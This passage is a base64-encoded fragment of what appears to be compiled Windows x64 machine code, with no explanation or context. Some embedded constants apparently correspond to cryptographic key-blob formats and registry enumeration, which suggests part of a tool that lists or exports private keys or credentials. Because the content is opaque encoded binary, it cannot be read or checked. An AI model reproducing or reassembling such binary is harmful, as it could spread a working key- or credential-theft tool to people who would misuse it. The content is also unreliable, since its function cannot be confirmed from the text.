OiMuv//hcAPhLEAAABIi33oRYXkdB9IjU8ERTPAM9LozQsDAEiNDbrQBQDoZcP3/+mAAAAAi1VQRTPASIvP6BIw+P9IjQ2b0AUA6EbD9/+LUwi5QAAAAEiDwgL/FUQ/BQBIi/BIhcB0TESLQwhIi8hIi1Ms6ERhAwCLVVBIjQXCaQgAx0QkQAEAAABBg8n/SIl0JDhBuAEAAABIiUQkKEiLz4NkJCAA6FGPAABIi87/Fbg+BQBIi8//Fa8+BQBIi0ssSIXJdAb/FaA+BQCLUzSF0nQOSItLOEiFyXQF6Dey9/9Ii0tASIXJdAb/FXw+BQBIi0tISIXJdAb/FW0+BQBIi8v/FWQ+BQBIi034/xVaPgUA6yL/FXI+BQCL0EiNDbmzCADobML3/+sMSI0NK7QIAOhewvf/M8BIg8RwQV9BXkFcX15bXcPMSIlcJAhVVldBVkFXSIPsYEiDZCQgAEyNTCRQTI0FpmkIAEiL6kSL8eh3Mfj/hcAPhIcBAABIi0wkUEyNhCSgAAAARTPJSI1UJFjoTaD3/4XAD4RPAQAAg7wkoAAAAAhIi3wkWA+GJQEAAEG/UEtTUEQ5Pw+FDQEAAIuEJKAAAABEOXw4/A+F+wAAAEiNXwTp5QAAAIvQSI0ND7QIAOiqwff/iwNIjXMILQMAAAF0Vy39//8AdDmD+AR0K0iNDcK0CADohcH3/4tTBEUzwEiLzug3Lvj/SI0NwM4FAOhrwff/6YkAAABIjQ1vtAgA6wdIjQ0mtAgAi1METIvGSNHq6EjB9//raUiNDa+zCADoOsH3/4tTBEiNBdCzCABIiUQkSEWLzkiNhCSoAAAARTPASIlEJEBIi85IjUQkUEiJRCQ4g2QkMABIg2QkKABIiWwkIOjyt///hcB0FUiLTCRQ6HwAAABIi0wkUP8VtTwFAItDBEiDwwhIA9iLA0E7xw+FEP///+sVSI0NF7QIAOsHSI0NbrQIAOixwPf/SIvP/xWAPAUA6yL/FZg8BQCL0EiNDZ+0CADoksD3/+sMSI0NEbUIAOiEwPf/SIucJJAAAAAzwEiDxGBBX0FeX15dw8zMSIlcJAhIiXQkEFdIg+wggTlQQ1BNSIvZD4XjAQAAi3EESI08MYP+FA+EgQEAAI1GzKn7////dAxIjQ1luAgA6bYBAABIjQV5xAYAg/40SI0VC7YIAEgPRNBIjQ0EtggA6AfA9/+LUwhIjQ1VtQgA6Pi/9/+LUwxIjQ1+tQgA6Om/9/9IjQ0itggA6N2/9/+LUxBFM8BIi8/ojyz4/4tDEEiNDTW2CABIA/jovb/3/4tTFEUzwEiLz+hvLPj/i0MUSI0NRbYIAEgD+Oidv/f/i1MYRTPASIvP6E8s+P+LQxhIjQ1VtggASAP46H2/9/+LUxxFM8BIi8/oLyz4/4tDHEiNDWW2CABIA/joXb/3/4tTIEUzwEiLz+gPLPj/i0MgSI0NdbYIAEgD+Og9v/f/i1MkRTPASIvP6O8r+P+LQyRIjQ2FtggASAP46B2/9/+LUyhFM8BIi8/ozyv4/4tDKEiNDZW2CABIA/jo/b73/4tTLEUzwEiLz+ivK/j/i0MsSI0NpbYIAEgD+Ojdvvf/i1MwRTPASIvP6I8r+P+D/jR0bQ+3UzRIjQ2vtggA61tIjQ3OswgA6LG+9/+LUwhIjQ3/swgA6KK+9/+LUwxIjQ0otAgA6JO+9/9IjQ1UtAgA6Ie+9/+LUxBFM8BIi8/oOSv4/0iNDcLLBQDobb73/+sOixFIjQ0atwgA6F2+9/9Ii1wkMEiLdCQ4SIPEIF/DzEiJXCQIVVZXSIvsSIPsQEiDZTAATI1NMEiDZCQgAEyNBV+3CABIi/qL8eh1Lfj/hcAPhJ0AAABIi00w6BQp+P9Ii9hIhcAPhJcBAABIi8j/FR84BQC/FAAAADvHfQtIi8v/FQ04BQCL+I1XAblAAAAA/xXlOQUASIvwSIXAdEeF/3QoSI0NCnsGAESLz0iL00yLwEgr0UwrwYoECjIBQYgECEj/wUmD6QF17kyLxkiNDd+2CABIi9Poj733/0iLzv8VXjkFAEiLy/8VVTkFAOkPAQAASINkJCAATI1NMEyNBSe3CABIi9eLzui1LPj/hcAPhIMAAABIg2QkMABFM8mDZCQoALoAAACASItNMMdEJCADAAAARY1BAf8VNDkFAEiD+P90PkUzwEyNTTBIi9BBjUgB6Afh9/9Ii10whcB0GEyLz0SLxjPSSIvL6KMAAABIi8voe+L3/0iLy/8V0jgFAOt//xXaOAUAi9BIjQ2xtggA6NS89//raUyNTTBFM8Az0jPJ6Lbg9/+FwHRVSItdMEiNRThIiUQkKEyNBQq3CABIi8vHRCQgGQACAEjHwgIAAIDof+L3/4XAdB5Ii1U4TIvPRIvGSIvL6CUAAABIi1U4SIvL6G3t9/9Ii8vo8eH3/0iLXCRgM8BIg8RAX15dw8zMSIvESIlYCEiJcBBIiXggRIlAGFVBVEFVQVZBV0iNaMhIgewQAQAASI1EJHhNi+lIiUQkKEyNBZW2CADHRCQgGQECAEiL2ej54ff/hcAPhNkBAABIg2QkUABIjUQkcEiDZCRIAEUzyUiDZCRAAEUzwEiLVCR4SIvLSIlEJDBIjUQkdEiJRCQo6EDk9/+FwA+EdwEAAItEJHC5QAAAAP/AiUQkcI1QAUgD0v8VuTcFAEiL+EiFwA+EZAEAADP2OXQkdA+GOQEAAItMJHBIjUWASItUJHhMi8+JTYBEi8ZIi8tIiUQkIOiO6Pf/hcAPhAIBAABIi9dIjQ0MtggA6Fe79/9Ii8/oVyb4/0yL8EiFwA+E3wAAAEiLyP8VYjUFAEiNTaBEi+D/FeU9BQBBv7YFAABFi8RIjU2gSYvW/xXHPQUASYPvAXXqSI1NoP8Vrz0FAPMPb0X4RTPAQY1XEEiNTZBmD+8FV3gGAPMPf0WQ6KUn+P9IjQ2itQgA6Nm69/9Ii1QkeEiNRYhIiUQkKEyLx0iLy8dEJCAZAAIA6KTg9/+FwHQzSI0N/ccFAOiouvf/RItNUEyNRZBIi1WISIvLTIlsJCDohwAAAEiLVYhIi8vof+v3/+sU/xVzNgUAi9BIjQ06tQgA6G269/9Ji87/FTw2BQD/xjt0JHQPgsf+//9Ii8//FSc2BQDrFP8VPzYFAIvQSI0NtrUIAOg5uvf/SItUJHhIi8voKOv3/0yNnCQQAQAASYtbMEmLczhJi3tISYvjQV9BXkFdQVxdw8zMzEyL3EmJWwhJiXMQSYl7IE2JQxhVQVRBVUFWQVdJjWupSIHsoAAAAEiNRQNFM/ZJiUOIRYvpSI1F/0UzyUmJQ4BFM8BIjUULTIv6SIlEJEBMi+FMiXQkMEyJdCQo6Bvi9/+FwA+ENQEAAItF/0GNXkD/wIvLiUX/jVABSAPS/xWVNQUASIvwSIXAD4QPAQAAi1UDi8v/FX41BQBIi/hIhcAPhO8AAABBi95EOXULD4bZAAAATIt1f4tN/0iNRQdIiUQkQEyLzolND0iNRROLTQNEi8NIiXwkOEmL10iJRCQwSI1FD4lNB0mLzEiJRCQg6NDn9/+FwA+EhQAAAEiL1kiNDfKeCADo/bj3/4tVE4P6A3ViSINkJEgASI1FF4tVB0WLzUiJRCRARTPASI1FH0iLz0iJRCQ4SItFb8dEJDAQAAAASIlEJChMiXQkIOiyr///hcB0K0yLRR9IjQ3XtAgAi1UX6J+49/9Ii00f/xVtNAUA6wxIjQ30tAgA6Ie49///wztdCw+CK////0iLz/8VSzQFAEiLzv8VQjQFAEyNnCSgAAAASYtbMEmLczhJi3tISYvjQV9BXkFdQVxdw8xIi8RIiVgISIlwEFdIg+wwSINg6ABMjUggTI0FpF8IAEiL+ovx6HYn+P+FwA+E1QAAAOiZO/j/SIvYSIXAD4TQAAAASItUJFhIi8joDDz4/4XAD4SkAAAATIsLTI1EJFBIjRXxtAgASIvLQf+RKAEAAIXAdUlIi0wkUEiFyXQ/SI0V6rQIAOidAAAAhcB1HkiLTCRQSI0VLbUIAOiIAAAAhcB1CUiNDWW1CADrSkiLTCRQTIvHi9bowAIAAOs+SIsDTI1EJFBIjRXrtQgASIvL/5AoAQAAhcB1FkiLTCRQSIXJdAxMi8eL1uheAQAA6wxIjQ3ZtQgA6Ey39/9IiwNIi8v/UBDrDEiNDVK2CADoNbf3/0iLXCRAM8BIi3QkSEiDxDBfw8zMzEiJXCQQVVZXSIvsSIPsQEiLAUyNRfBIi/Iz/0iNFZK2CAD/kCgBAACFwA+F2QAAAEiLTfBIhckPhMwAAABIiwFMjUXgSI0VcbYIAP+QIAEAAIXAD4WnAAAASItN4EiFyQ+EmgAAAEiLAUiNVSD/UECFwA+FnQAAADPbOV0gD46SAAAAhf8PhYoAAABIi03gTI1FOIvTSIsB/1A4hcB1WEiLTThIhcl0T0iLAUiNVTD/UFCFwHU3g30wAXUxSItNOEiNVehIiwH/kNAAAACFwHUcSItN6EiL1uivmQMASItN6IXAQA+Ux/8VIzMFAEiLTThIiwH/UBD/wztdIHyF6xVIjQ3BtQgA6wdIjQ1ItggA6Au29/9Ii1wkaIvHSIPEQF9eXcNIiVwkEEiJdCQYVVdBVkiL7EiD7GBIiwFEi/JIjVXwSYvwSIvZ/1A4hcAPhesAAABIi03wSI0VdbYIAOgomQMASItN8DP/hcBAD5TH/xWaMgUASIsDSI1V8EiLy/+Q0AAAAIXAD4WxAAAAhf8PhI8AAABIi03wTI1FIEiNVfjooSH4/4XAD4SGAAAASItd+DPJSIvT6JNp9/9Ig2QkSABIjUU4i1UgRYvOSIlEJEBFM8BIjUX4SIvLSIlEJDiDZCQwAEiDZCQoAEiJdCQg6Cas//+FwHQgi1U4SI0N3LUIAEyLRfhI0eroELX3/0iLTfj/Fd4wBQBIi8v/FdUwBQDrEEiLVfBIjQ3YtQgA6Ou09/9Ii03w/xXRMQUATI1cJGBJi1soSYtzMEmL40FeX13DSIlcJBBIiXQkGFVXQVZIi+xIg+xASIsBSYvwRIvyTI1F8EiNFZO1CAD/kCgBAACFwA+F6AAAAEiLTfBIhckPhNsAAABIiwFIjVXo/1BghcAPhdUAAABIi03oSI1VIEiLAf9QQIXAD4WnAAAAM9s5XSAPjpwAAABIi03oTI1F4IvTSIsB/1A4hcB1fUiLTeBIhcl0dEiLAUiNVTj/UFCFwHVQg304AXVKSItN4EiNFRW1CADozDj4/0iL+EiFwHQpSIvQSI0NCiQIAOj9s/f/SIvP/xXMLwUASItN4EyLxkGL1ujp/f//6xVIjQ3ktAgA6wdIjQ1LtQgA6M6z9/9Ii03gSIsB/1AQ/8M7XSAPjGT///9Ii03oSIsB/1AQ6wxIjQ2OtQgA6KGz9/9Ii1wkaEiLdCRwSIPEQEFeX13DzMxIi8RIiVgISIlwEFdIg+wwSINg6ABMjUggTI0F6FoIAEiL+ovx6Loi+P+FwHR/6OE2+P9Ii9hIhcB0fkiLVCRYSIvI6Fg3+P+FwHRWTIsLTI1EJFBIjRWJtQgASIvLQf+RKAEAAIXAdTlIg3wkUAB0MUiNDYy1CADoD7P3/0iLVCRQTIvPRIvG6D8AAABIi1QkUEyLz0SLxrkBAAAA6AYBAABIiwNIi8v/UBDrDEiNDWC1CADo07L3/0iLXCRAM8BIi3QkSEiDxDBfw8xIiVwkGIlMJAhVVldIi+xIg+xASIsCQYvwSIvKTI1F8EiNFYm1CABJi/n/kCgBAACFwA+FlwAAAEiLTfBIhckPhIoAAABIiwFMjUXoSI0VhbUIAP+QIAEAAIXAdXJIi03oSIXJdGlIiwFIjVUg/1BAhcB1WzPbOV0gflRIi03oTI1F4IvTSIsB/1A4hcB1OUiLTeBIhcl0MEiLAUiNVSj/UFCFwHUYg30oAXUSSItV4I1IAkyLz0SLxujKAgAASItN4EiLAf9QEP/DO10gfKxIi1wkcEiDxEBfXl3DSIlcJAhIiXQkGFVXQVRBVkFXSIvsSIPsYE2L+UWL4EyL8ovx6CMCAABJiwZMjUXgSI0VlX4HAEmLzv+QIAEAAIXAD4XlAAAASItN4EiFyQ+E2AAAAEiLAUiNVTj/UECFwA+FxgAAADPbOV04D467AAAASItN4EyNRciL00iLAf9QOIXAD4WYAAAASItNyEiFyQ+EiwAAAEiLAUiNVdj/UFCFwHVzg33YAXVtSItNyEyNRfBIjRV6tAgASIsB/5AoAQAAhcB1P0iLTfBIhcl0NkiNFXW0CADo7Db4/0iL+EiFwHQijRQ2TIvITI0FS7UGAEiNDXy0CADo57D3/0iLz/8VtiwFAEiLVciNTgFNi89Fi8ToNAEAAEiLTchIiwH/UBD/wztdOA+MRf///0mLBkyNRehIjRXpswgASYvO/5AgAQAAhcAPheUAAABIi03oSIXJD4TYAAAASIsBSI1VwP9QQIXAD4XGAAAAM9s5XcAPjrsAAABIi03oTI1F0IvTSIsB/1A4hcAPhZgAAABIi03QSIXJD4SLAAAASIsBSI1V3P9QUIXAdXODfdwBdW1Ii03QTI1F+EiNFXazCABIiwH/kCgBAACFwHU/SItN+EiFyXQ2SI0VcbMIAOjoNfj/SIv4SIXAdCKNFDZMi8hMjQVHtAYASI0NYLMIAOjjr/f/SIvP/xWyKwUASItV0I1OAU2Lz0WLxOjk/f//SItN0EiLAf9QEP/DO13AD4xF////TI1cJGBJi1swSYtzQEmL40FfQV5BXF9dw8zMSIlcJAhIiXQkGFdIg+wgSIsCTIvSQYv4SI0VIbMIAIvxTI1EJDhJi8pJi9n/kCgBAACFwHUXSItUJDhIhdJ0DUyLy0SLx4vO6BMAAABIi1wkMEiLdCRASIPEIF/DzMzMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsYEiL6ovZSIvNSI0V3bIIAE2L4UWL6OjmNPj/RI08G0iL+EiFwHQiTIvITI0FRLMGAEGL10iNDcqyCADo3a73/0iLz/8VrCoFAEiNFf1cCABIi83oqTT4/0iL8EiFwA+EWQEAAEiNFcKyCABIi83ojjT4/0iNFdNhCABIi81Mi/DofDT4/0yNDbmyCABIiXQkKEmLyUyNBdqyBgBNhfZBi9dIi+hJD0XOSIXASIlMJCBIjQ2esggATA9FyOhdrvf/TI1EJFBIi85IjVQkWOgjIvj/hcAPhL4AAACLVCRQSIt8JFiD+hQPgpcAAABIi0cESDsFjtAFAHV8SItHDEg7BYnQBQB1b0iDZCRIAEiNRCRUSIlEJEBFi81IjUQkWEUzwEiJRCQ4SIvPg2QkMABIg2QkKABMiWQkIOjbpP//hcB0TUSLTCRUTI0FJ7IGAEiLXCRYSI0NK7IIAEnR6UGL10iJXCQg6LOt9/9Ii8v/FYIpBQDrGkiNDUmyCADonK33/+sMSI0N27IIAOiOrff/SIvP/xVdKQUASIXtdAlIi83/FU8pBQBNhfZ0CUmLzv8VQSkFAEiLzv8VOCkFAEyNXCRgSYtbMEmLazhJi3NASYvjQV9BXkFdQVxfw8zMSIlcJAhIiXQkEFVXQVZIjWwkuUiB7LAAAABFM/ZIjUUvSIv6TIl1L4vxTIl1D0yNDRMzBQBMiXUnRY1GAUyJdecz0kSJdX9IjQ3KMwUASIlEJCD/FVcxBQCFwA+FNAQAAEiLTS9IjVUPSIlUJEBFM8lMiXQkOEiNFXuyCABMiXQkMEUzwEiLAUSJdCQoTIl0JCD/UBiFwA+F3gMAAEiLTQ9BjUYDRIl0JDiNUAdMiXQkMEUzyYlEJChFM8CJRCQg/xXSMAUAhcAPhZMDAABIi00PSI1VJ0iJVCQoRY1OMEyNBWKyCABMiXQkIEiNFaayCABIiwH/kKAAAACFwA+FVQMAAEiLTSdIjVV/SIlUJCBMjU3nQbgBAAAAg8r/SIsB/1AghcAPhQ4DAABIjQ1euQUA6Ams9/9EOXV/D4TnAgAASItN50yNTe9MiXQkKEiNFUuyCABFM8BMiXQkIEiLAf9QIIXAdRpIi1X3SI0NRrIIAOjJq/f/SI1N7/8VvygFAEiLTedMjU3vTIl0JChIjRVLsggARTPATIl0JCBIiwH/UCCFwHUaSItV90iNDU6yCADoiav3/0iNTe//FX8oBQBIi03nTI1N70yJdCQoSI0VU7IIAEUzwEyJdCQgSIsB/1AghcB1GkiLVfdIjQ1WsggA6Emr9/9IjU3v/xU/KAUASItN50yNTe9MiXQkKEiNFVuyCABFM8BMiXQkIEiLAf9QIIXAdVBIi033RI1ACjPS6NqsAwBIjQ1TsggASIlFN+j6qvf/SI1VP0iNTTf/FYwmBQCFwHQJSI1NP+hfGPj/SI0NKLgFAOjTqvf/SI1N7/8VyScFAEiLTedMjU3vTIl0JChIjRUtsggARTPATIl0JCBIiwH/UCCFwA+FmQAAAEiLVfdIjQ08sggA6I+q9/9Ii033TI1FF0iNVR/o/gEAAIXAdGhIi10fSI1Fd0yJdCRIRIvOSIlEJEBFM8BIjUUHixNIjUsESIlEJDhEiXQkMEyJdCQoSIl8JCDoO6H//4XAdCCLVXdIjQ0BsggATItFB0jR6uglqvf/SItNB/8V8yUFAEiLy/8V6iUFAEiNTe//FQgnBQDrDovQSI0NBbIIAOj4qff/SItN50yNTe9MiXQkKEiNFbSyCABFM8BMiXQkIEiLAf9QIIXAD4WZAAAASItV90iNDcOyCADovqn3/0iLTfdMjUUXSI1VH+gtAQAAhcB0aEiLXR9IjUV3TIl0JEhEi85IiUQkQEUzwEiNRQeLE0iNSwRIiUQkOESJdCQwTIl0JChIiXwkIOhqoP//hcB0IItVd0iNDYiyCABMi0UHSNHq6FSp9/9Ii00H/xUiJQUASIvL/xUZJQUASI1N7/8VNyYFAOsOi9BIjQ2EsggA6Cep9/9Ii03nSIsB/1AQ6dv8//9IjQ05swgA6Ayp9//pyvz//4P4AXQOi9BIjQ2hswgA6PSo9/9Ii00nSIsB/1AQ6xdIjQ05tAgA6wdIjQ3QtAgAi9Do0aj3/0iLTQ9IiwH/UBDrDovQSI0NVLUIAOi3qPf/SItNL0iLAf9QEOsOi9BIjQ3qtQgA6J2o9/9MjZwksAAAADPASYtbIEmLcyhJi+NBXl9dw8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7DBMi/JJi+hIjRVCtggASIvZM/boNDwDAEiL+Eg7w3U9SIPHRkiNFW22CABIi8/oGTwDAEiFwHQcSCvHSIlsJCBI0fhNi86L0EiLz+g8RPf/i/DrFUiNDWW2CADrB0iNDdy2CADo/6f3/0iLXCRAi8ZIi3QkUEiLbCRISIt8JFhIg8QwQV7DzMxIiVwkCFVWV0FWQVdIjWwkyUiB7JAAAABIg2QkIABMjU0fTI0Fd6EIAEyL8kSL+egEF/j/hcAPhI8AAABIg2QkMABFM8mDZCQoALoAAACASItNH8dEJCADAAAARY1BAf8VgyMFAEiL2EiD+P90REUzwEyNTR9Ii9BBjUgB6FPL9/+FwHQfSItNH0WLz0UzwEyJdCQgM9Lo8QEAAEiLTR/oxMz3/0iLy/8VGyMFAOnBAQAA/xUgIwUAi9BIjQ13tggA6Bqn9//pqAEAAEyNTR9FM8Az0jPJ6PnK9/+FwA+EkAEAAEiLXR9IjUUnSIlEJChIi8tFM8DHRCQgCAAAAEjHwgMAAIDowsz3/4XAD4RFAQAASINkJFAASI1Fd0iDZCRIAEUzyUiDZCRAAEUzwEiLVSdIi8tIiUQkMEiNRX9IiUQkKOgMz/f/hcAPhPkAAACLRXe5QAAAAP/AiUV3jVABSAPS/xWHIgUASIv4SIXAD4TUAAAAM/Y5dX8PhsAAAACLTXdIjUUXSItVJ0yLz4lNF0SLxkiLy0iJRCQg6F/T9/+FwA+EjAAAAEiNFei1CABIi8/oDDoDAEiFwHV4SIvXSI0NuaIHAOgUpvf/SItVJ0iNRS9IiUQkKEyLx0iLy8dEJCAZAAIA6ODL9/+FwHQxSI0NObMFAOjkpff/SItVL0WLz0yLx0yJdCQgSIvL6HkAAABIi1UvSIvL6L3W9//rFP8VsSEFAIvQSI0NiLUIAOirpff//8Y7dX8PgkD///9Ii8//FW8hBQBIi1UnSIvL6IfW9//rFP8VeyEFAIvQSI0NUrUIAOh1pff/SIvL6PXK9/9Ii5wkwAAAADPASIHEkAAAAEFfQV5fXl3DSIvESIlYCEiJcBBIiXgYVUFWQVdIjWipSIHsoAAAAEiNRR9Ji9gPV8BIiUQkKEyNBXe1CADHRCQgGQECAEWL+UiL8fMPf0UvRTP26PDK9/+FwA+EBAIAAEiF2w+EkgAAAEiLVX9MjQV4tQgATCF0JCBFM8lBi8/oMBT4/4XAdHNIi9NIjQ1ytQgA6MWk9/9IjVUvSIvL/xXoGAUAhcB0P0iNVS9IjQ3RAQAA6JQk+P9Ei/CFwHQZSI0NdmQIAOiRpPf/SItNNzPS6LrVAQDrI/8VdiAFAEiNDY+1CADrDf8VZyAFAEiNDVC2CACL0OhhpPf/SINkJFAASI1FD0iDZCRIAEUzyUiDZCRAAEUzwEiLVR9Ii85IiUQkMEiNRRNIiUQkKOifzPf/hcAPhOgAAACLRQ+5QAAAAP/AiUUPjVABSAPS/xUaIAUASIv4SIXAD4TXAAAAM9s5XRMPhq0AAACLTQ9IjUUXSItVH0yLz4lNF0SLw0iLzkiJRCQg6PLQ9/+FwHR9SIvXSI0NdJ4IAOi/o/f/SItVH0iNRSdIiUQkKEyLx0iLzsdEJCAZAAIA6IvJ9/+FwHQ2SI0N5LAFAOiPo/f/SItFN0WLx0yLTX9Ii85Ii1UnSIlEJCDocwEAAEiLVSdIi87oY9T3/+sU/xVXHwUAi9BIjQ3OtQgA6FGj9///wztdEw+CU////0iLz/8VFR8FAOsU/xUtHwUAi9BIjQ1EtggA6Cej9/9Ii00vSIXJdAb/FfAeBQBFhfZ0D0iLTTdIhcl0Bv8V7B4FAEiLVR9Ii87o9NP3/0yNnCSgAAAASYtbIEmLcyhJi3swSYvjQV9BXl3DzMzMSIvESIlYCEiJcCBXSIPscEmL8MdAEAEAAACL2kiL+f8VkxsFADvYD4SNAAAAQbk4AAAASI2EJJAAAABMjUQkMEiJRCQgSIvPQY1R0v8VdhYFADPbhcB0YkiLFkyNhCSIAAAASIvPiZwkiAAAAOhGH/j/OZwkiAAAAHQ4g3wkSAGNQwNEi0wkTI1TDEQPRMhIi89IjUYIRTPASIlEJCjHRCQgAgAAAP8VNBYFAIXAD5TD6w67AQAAAOsHi5wkiAAAAEyNXCRwi8NJi1sQSYtzKEmL41/DzMzMTIvcSYlbCEmJcxBJiXsYTYljIFVBVkFXSIvsSIPscEiNReBNi/lJiUOgRYvgSI1F8EUzyUyNBX21CABJiUOYSIvyTIvxM//oeNP3/4XAdB1Mi0XwSI0NbbUIAItV4Oidoff/SItN8P8Vax0FAEiNReBIi9ZIiUQkKEyNTeRIjUXwSYvOTI0FZbUIAEiJRCQg6C/T9/+FwHQvi1XkSItd8IP6BHUOixNIjQ1StQgAiVXk6wdIjQ1utQgA6EGh9/9Ii8v/FRAdBQA5feQPhakAAABIjUXgRTPJSIlEJChFM8BIjUXwSIvWSYvOSIlEJCDo0NL3/4XAD4SKAAAASItVQEiF0nQKM8n/FUsVBQCL+EiDZCRIAEiNReiLVeBFi8xIi03wRTPASIlEJEBIjUX4SIlEJDiDZCQwAEiDZCQoAEyJfCQg6LOX//+FwHQTSItN+OhOAAAASItN+P8VeBwFAIX/dAoz0jPJ/xXqFAUASItN8P8VYBwFAOsMSI0NJ7UIAOh6oPf/TI1cJHBJi1sgSYtzKEmLezBNi2M4SYvjQV9BXl3DiVQkEEyL3FNWV0FUQVVBVkFXSIHsoAAAADP/iXwkQMdEJEhSU0Eyx0QkTAAEAACLEQ/Ki9JIA9FEi0oEQQ/JRIlMJFRIg8IISIlUJGhFi/FJA9ZEiwJBD8hEiUQkUEiDwgRIiVQkYEWL+EkD14sKD8mLyUiDwQRIA8qLEQ/Ki9JIA9GLQgQPyIlEJFhIg8IISIlUJHBEi+BGiywiQQ/NRYlrhEiNSgRJA8xIiUwkeEGNDABBg8EYQQPJQQPNQYlLEIvRjU9A/xWgGwUASIvwSImEJIAAAABIhcAPhGICAAAPEEQkSA8RAPIPEEwkWPIPEUgQSI1YGEWLx0iLVCRgSIvL6H09AwBJA99Fi8ZIi1QkaEiLy+hqPQMASQPeRYvESItUJHBIi8voVz0DAEmNDBxFi8VIi1QkeOhGPQMAkEUzyUyNBTsCBwBIjRUc8QYASI2MJPgAAAD/FR6nDABFM/aFwA+ItgEAAESJdCQwi4Qk6AAAAIlEJChIiXQkIEyNjCTgAAAATI0F17MIADPSSIuMJPgAAAD/FTenDACFwA+IXAEAAESJdCQwSI2EJOgAAABIiUQkKESJdCQgRTPJTI0FvrMIADPSSIuMJOAAAAD/FfamDACFwA+IBQEAAIuUJOgAAACNT0D/FX4aBQBIi9hIhcAPhPcAAABEiXQkMEiNhCToAAAASIlEJCiLhCToAAAAiUQkIEyLy0yNBWOzCAAz0kiLjCTgAAAA/xWbpgwAhcAPiJEAAABMjYQkiAAAAEiL041PU+j8S///hcAPhIQAAABMjYwk8AAAAESLhCSIAAAASIuUJJAAAABIjQ05swgA6FQV+P+L+IlEJECFwHQkSIuUJPAAAABIjQ0rswgA6Mad9/9Ii4wk8AAAAP8VkBkFAOsU/xWoGQUAi9BIjQ0PswgA6KKd9/9Ii4wkkAAAAP8VbBkFAOsOi9BIjQ2hswgA6ISd9/9Ii8v/FVMZBQDrDovQSI0NGLQIAOhrnff/SIuMJOAAAAD/FWWlDADrDovQSI0NirQIAOhNnff/M9JIi4wk+AAAAP8VbaUMAOsYSI0N/LQIAOgvnff/i3wkQEiLtCSAAAAASIvO/xXyGAUAi8dIgcSgAAAAQV9BXkFdQVxfXlvDzEiJXCQIVVZXQVRBVUiL7EiB7IAAAAAz/0yNTUhMjQVdRAgASIl8JCBMi+JEi+noKQz4/4XAD4ShAgAASItNSEyNRdBFM8lIjVXw6AV79/+FwA+EbwIAAEiLdfBIhfYPhFcCAABIg8r/SP/CQDg8FnX3SIvO6DMH+P9Ii9hIhcAPhDYCAABMjUXYSIvISI0V2Z8IAOjwDvj/hcB0GkiLVdhIjQ3dtAgA6Fic9/9Ii03Y/xUmGAUATI1FSEiLy0iNFeC0CADovw74/4XAdHpIjQ3gtAgA6Cuc9/9Ii31ITI1F2EiLz0iNFYGfCADomA74/4XAdAlIjQ3RtAgA6x5MjUXYSIvPSI0V4bQIAOh4Dvj/hcB0HEiNDdm0CABIi1XY6OCb9/9Ii03Y/xWuFwUA6wxIjQ3dtAgA6Mib9/9Ii8//FZcXBQAz/0yNRehIi8tIjRXHtAgA6C4O+P+FwA+EUAEAAEiLVehIjQ3PtAgA6JKb9/9MjUXYSIvLSI0V7LQIAOgDDvj/hcB0GkiLVdhIjQ3wtAgA6Gub9/9Ii03Y/xU5FwUATI1F2EiLy0iNFQO1CADo0g34/4XAD4TqAAAASItN2EyNRUhIjVXg6F0H+P+FwA+ExwAAAEiNDXaoBQDoIZv3/0iLVeAzyehGT/f/i1VISI1FQEiLTeBFi81IiXwkSEUzwEiJRCRASI1F8EiJRCQ4iXwkMEiJfCQoTIlkJCDo25H//4XAdGtIjQ2ctAgA6M+a9/9Ii03oSI0VtLQIAOgrfgMAhcB1IEiNDay0CADor5r3/0iLffBFM8CLVUBIi8/oXQf4/+sWSIt98EiNDZi0CACLVUBMi8fohZr3/0iNDc6nBQDoeZr3/0iLz/8VSBYFAEiLTeD/FT4WBQBIi03Y/xU0FgUASItN6P8VKhYFAEiLy/8VIRYFAEiLzv8VGBYFAOsi/xUwFgUAi9BIjQ1HtAgA6Cqa9//rDEiNDbm0CADoHJr3/0iLnCSwAAAAM8BIgcSAAAAAQV1BXF9eXcPMzMxIiVwkCEiJdCQQVVdBV0iL7EiD7HBIg2QkIABMjU04TI0FVkEIAEiL2kSL+egnCfj/hcAPhLsBAABIi004TI1F4EUzyUiNVfDoA3j3/4XAD4SJAQAASIt18EiF9g+EcQEAAEiDyv9I/8KAPBYAdfdIi87oMQT4/0iL+EiFwA+EUAEAAEyNRehIi8hIjRWPtAgA6O4L+P+FwHQaSItV6EiNDduxCADoVpn3/0iLTej/FSQVBQBMjUXoSIvPSI0VbrQIAOi9C/j/hcB0GkiLVehIjQ16tAgA6CWZ9/9Ii03o/xXzFAUATI1F6EiLz0iNFZW0CADojAv4/4XAD4TKAAAASItN6EyNRThIjVXw6BcF+P+FwA+EpwAAAEiNDTCmBQDo25j3/0iLVfAzyegATff/SINkJEgASI1FMItVOEWLz0iLTfBFM8BIiUQkQEiNRfhIiUQkOINkJDAASINkJCgASIlcJCDoko///4XAdEhIjQ0ztAgA6IaY9/9Ii134RTPAi1UwSIvL6DQF+P9IjQ29pQUA6GiY9/+LVTBIjQ0utAgASNHqTIvD6FOY9/9Ii8v/FSIUBQBIi03w/xUYFAUASItN6P8VDhQFAEiLz/8VBRQFAEiLzv8V/BMFAOsi/xUUFAUAi9BIjQ37swgA6A6Y9//rDEiNDW20CADoAJj3/0yNXCRwM8BJi1sgSYtzKEmL40FfX13DzEBTSIPsIEiNDYOzDAD/FX0XBQAz24XAeCZIiw1wswwATI0FdbMMAEiNFcJNDAD/FUQXBQCFwA+Zw4kdWbMMAEiDxCBbw8zMzEiLDUGzDABI/yUyFwUAzMxIg+xITIvRuCgAGcBIiw0lswwASIXJdC+DPSGzDAAAdCZIi0QkcEiJRCQwTIlMJChEi8qLFQuzDABMiUQkIE2Lwv8V4RYFAEiDxEjDSIlcJAhIiXQkEFdIg+xASGPxSIv6hcl+cTPbSIsM3/8VbxYFAEiLDN+FwHQ+SIvRSI0NPbYIAOgIl/f/SINkJDgASI0FUwAAAEiLDN9IjRVItggASIlEJDBFM8mDZCQoAEUzwOh/dvf/6xf/FUsWBQBIixTfRTPJTIvAM8noGgAAAEj/w0g73nyRSItcJFAzwEiLdCRYSIPEQF/DQFNIg+wwSIvaSIXSdHRIjQ37tQgA6I6W9/9FM8lMjUQkSEiNVCQgSIvL6Ml09/+FwHQ7i1QkSEiLTCQg6EsAAACFwHgOSI0NTBUIAOhXlvf/6w6L0EiNDdS1CADoR5b3/0iLTCQg/xUUEgUA6xT/FSwSBQCL0EiNDTO2CADoJpb3/zPASIPEMFvDzMxAU1VWV0FWSIPsMIvyTIvxuUAAAAC7oAAAwI1uJIvV/xUHEgUASIv4SIXAdG1Ei8bHABUAAAB